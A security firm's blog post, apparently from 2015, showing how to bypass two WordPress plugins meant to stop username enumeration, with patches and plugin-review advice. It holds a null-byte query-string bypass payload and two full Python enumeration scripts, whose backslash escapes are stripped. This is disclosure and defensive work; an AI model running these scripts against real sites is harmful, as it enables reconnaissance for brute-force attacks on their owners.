Don’t Trust Your Plugins

November 12, 2015

 

WordPress security, or the lack of it, isn’t really a new concept. There are dozens and dozens of posts and guidelines for securing WordPress, including an official post on their site which provides a great overview for tasks you can do to secure your implementation. Here at Security Compass we do a lot of assessments which include WordPress sites and in them we often find issues relating to either third party code (plugins and themes) or WordPress itself.

Plugin security is always a topic of particular concern, if you have read anything about WordPress security over the last few years you will know that selecting and managing your plugins is one of the most important things you need to do to ensure you have a secure instance of WordPress. You may also be using wpscan which is an excellent scanner for known vulnerabilities in plugins. The problem with relying just on this method is that there are a massive amount of plugins which are out in the wild that have never been audited or looked at from a security point of view and if you are using one of these plugins when an attacker targets your site, you may be in for a nasty surprise.

Bypass

On a recent assessment we ran into a plugin which was used to prevent user enumeration attacks on the wp-login page. This was a plugin that was created specifically for security and is one that an administrator may use in an attempt to increase the overall security of their WordPress install.

WordPress login page “wp-login.php” allows username enumeration by authentication error message. If the username is correct but the password is incorrect, the page responds with the error message “ERROR: The password you entered for the username admin is incorrect.” When entering a non-existent username, the page responds with, is “ERROR: Invalid username.”

The differences in error messages can be used to enumerate users, however thisissue can easily be fixed by using the freely available WordPress plug-in “Unified Login Error Messages”. Note: This plug-in was last updated 2 years ago.

When “Unified Login Error Messages” WordPress plug-in is activated, the login error message is changed to “ERROR: Invalid username/password combination.” Regardless if the username submitted is correct or not, the authentication error message remains the same. This fixes the problem of username enumeration from the login page authentication error message inconsistency.

Now let us look at the new technique for enumerating usernames. Observe the image below and note the differences in the responses:

AB_1

If you couldn’t find any or all differences, here is the list:

  1. Image on left has “admin” username pre-filled.
  2. Image on right has empty username pre-filled.
  3. Image on left has “password” field with cursor focus.
  4. Image on right has “username” field with cursor focus.

Below is a simple diagram to show how we can easily find out if the username is valid or not:

AB_2

To fix this vulnerability, code patching is required. WordPress login page “wp-login.php” is the only file which needs to be patched to mitigate this vulnerability.

Original code:
<input type=”text” name=”log” id=”user_login” class=”input” value=”<?php echo esc_attr($user_login); ?>” size=”20" /></label>

Modified code:
<input type=”text” name=”log” id=”user_login” class=”input” value=”” size=”20" /></label>

There are likely multiple security plugins which claim to do a specific task however can be bypassed by dedicated testers. That’s not to say you shouldn’t be using any of them, but it is important to not solely rely on a plugin to implement security within a WordPress install and a review of the plugin is very much required.

Similar to the above discussed user enumeration protection bypass, we found the “Stop User Enumeration” plugin during one of our assessments which is used to protect against user enumeration using the “author” parameter.

The “author” parameter is an integer value used to identify WordPress users.

By appending this parameter to the URL or within the body of a POST request with an integer value, the page will respond back with an HTML response containing the username associated with that author.

The plugin checks for the “author” parameter in POST requests using $_POST[‘author’] and if found, the request is forbidden.

AB_4

When submitting the “author” parameter within a GET request, however, weak regular expressions are used and can be bypassed. The weak regular expressions are:

preg_match(‘/author=([0–9]*)/’, $_SERVER[‘QUERY_STRING’])

preg_match(‘/?author(%00[0%]*)?=([0–9]*)(/*)/’, $requested_url)

The first regular expression check can be bypassed using null bytes (%00). After injection, the “author” parameter will look like author%00=value.

AB_3

The second regular expression checks for “author” as a first parameter in the URL and can be bypassed by setting it as the second parameter.
After combining both the regular expression bypass techniques, our final payload will look like the following:
http://wp-target/?anything=anything&author%00=1
This technique can be used to discover valid usernames which can then be leveraged for further attacks against the system such as brute-force.

This vulnerability can be patched by adding the following lines of code on to the existing protection written in the “stop-user-enumeration.php” file:

if(isset($_REQUEST[“author”]))

ll_kill_enumeration();

Reviewing Plugins

The Mantra of “Don’t use plugins” falls apart when you have complex needs for your site and require more than what WordPress core offers. There are steps you can take to lower the chances that a high-risk plugin makes it into your site.

  1. Treat each plugin as new code being introduced into one of your applications. If for your own applications you have a review process that involves code reviews, automated scans or other practices, then any WordPress plugin which you are considering for your site should be treated the same way.
  2. Classify the types of plugins you are using. For example plugins that interact with the database or could be used to gain access to or manipulate sensitive data should be reviewed in more depth. Along with that, make sure that the access to the database is restricted and a super-user database account is not being used.
  3. There are several open source PHP code scanners available on the internet which can be used to perform reviews of plugins. While these scanners may not catch 100% of issues that are present, they can help you identify major issues such as injection attacks.
  4. If the resources to perform a full manual code review of plugins is not available, consider a more focused approach and look at the highest risk areas of the code (such as area’s where user input is reflected back to the user, authorization checks and database related code).
  5. Finally, a runtime assessment using standard web tools to check that the plugin works in the intended manner can help identify more issues.

We wrote Python scripts for the protection bypass of both plugins.

Refer to the following links as the source code for the two plugins:

https://github.com/SecurityCompass/wordpress-scripts/blob/master/wp_login_user_enumeration.py

https://github.com/SecurityCompass/wordpress-scripts/blob/master/wp_user_enumeration_with_plugin_bypass.py

Bypass Protection by Stop User Enumeration plug-in:

#!/usr/bin/python
#Python script to perform WordPress user enumeration even if "Stop User Enumeration" plug-in is installed
#Tested on:
#Windows,Linux
#WordPress v4.3.1
#Stop User Enumeration v1.3.3
try:
	from bs4 import BeautifulSoup
	import urllib2
	import requests
	import sys
	import ssl
except Exception,e:
	print "[!] Error: "+str(e)
	print "[*] Make sure you have the following Python modules installed:ntbs4, urllib2, requests, sys, ssl"
	exit(0)
if len(sys.argv)!=4:
	print "Usage: %s   "%sys.argv[0]
	exit(0)
target = sys.argv[1]

if target.endswith("/"):
	target = target[:-1]

if hasattr(ssl, '_create_unverified_context'):
	ssl._create_default_https_context = ssl._create_unverified_context
print "[*] Started"
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass
for i in range(int(sys.argv[2]),int(sys.argv[3])+1):
	try:
		#print target+"/?author="+str(i)
		#r = requests.get(sys.argv[1]+"/?qwe=asd&author%00="+str(i), verify=False)
		target_url = target+"/?author="+str(i)
		r = requests.get(target_url, verify=False)
		sc = r.status_code
		if sc==500:
			target_url = target+"/?a=b&author%00="+str(i)
		r = requests.get(target_url, verify=False)
		sc = r.status_code
		if sc != 404 and sc != 500:
			html = urllib2.urlopen(target_url)
			soup = BeautifulSoup(html.read(), "lxml")
			tag = soup.body
			uname = (tag['class'][2]).replace("author-","")
			#print str(i) + " : " + str(sc)
			print str(i) + " : " + str(uname)
	except Exception,e:
		#print "Exception occurred"
		print str(e)
print "[*] Completed"
Bypass Protection by Unified Login Error Messages plug-in:
#!/usr/bin/python
#Python script for user enumeration from WordPress login page
#It works even if plugins like "Unified Login Error Messages" is installed
#Tested on:
#Windows,Linux
#WordPress v4.3.1
#Unified Login Error Messages v1.0
try:
	import requests
	import sys
	import ssl
except Exception,e:
	print "[!] Error: "+str(e)
	print "[*] Make sure you have the following Python modules installed:ntrequests, sys, ssl"
	exit(0)
if len(sys.argv)!=3:
	print "nUsage: " + sys.argv[0] + "  "
	print "Example: " + sys.argv[0] + " http://192.168.1.1/wordpress users.txt"
	print "nTechnique Reference:nT1 = Check for 'value=""'nT2 = Check for "document.getElementById('user_pass')"n"
	sys.exit(0)
target = sys.argv[1]
user_file = sys.argv[2]
f = open(user_file, "r")
user_list = f.readlines()
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080",}
cookies = dict(wordpress_test_cookie='WP Cookie Check')
if hasattr(ssl, '_create_unverified_context'):
	ssl._create_default_https_context = ssl._create_unverified_context
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass
for user in user_list:
	try:
		user = (user.replace("r", "")).replace("n", "")
		post_data = {"log":user, "pwd":"AnyInvalidPass", "wp-submit":"Log In", "redirect_to":target+"/wp-admin/", "testcookie":"1"}
		#r = requests.post(target+"/wp-login.php", data=post_data, proxies=proxies, cookies=cookies, verify=False)
		r = requests.post(target+"/wp-login.php", data=post_data, cookies=cookies, verify=False)
		sc = r.text
		#print sc
		check1 = 'value="'+user+'"'
		check2 = "document.getElementById('user_pass')";
		#print check1
		#print check2
		#print int(sc.find(check1))
		if int(sc.find(check1)) > -1:
			print "[T1] Valid user: "+user
		else:
			if int(sc.find(check2)) > -1:
				print "[T2] Valid user: "+user
	except:
		print "Exception occurred"

 

 

Previous Article
The Million Dollar Question: To Build or Buy for Security Tools?
The Million Dollar Question: To Build or Buy for Security Tools?

When a large enterprise is looking to invest in improving the process and automation, the question of Build...

Next Article
FFIEC and DDoS Testing
FFIEC and DDoS Testing

DDoS has now secured itself a top 5 spot on most financial institutions’ list of security risks. With a few...

×

Schedule a live demo

First Name
Last Name
Company Name
!
Thank you!
Error - something went wrong!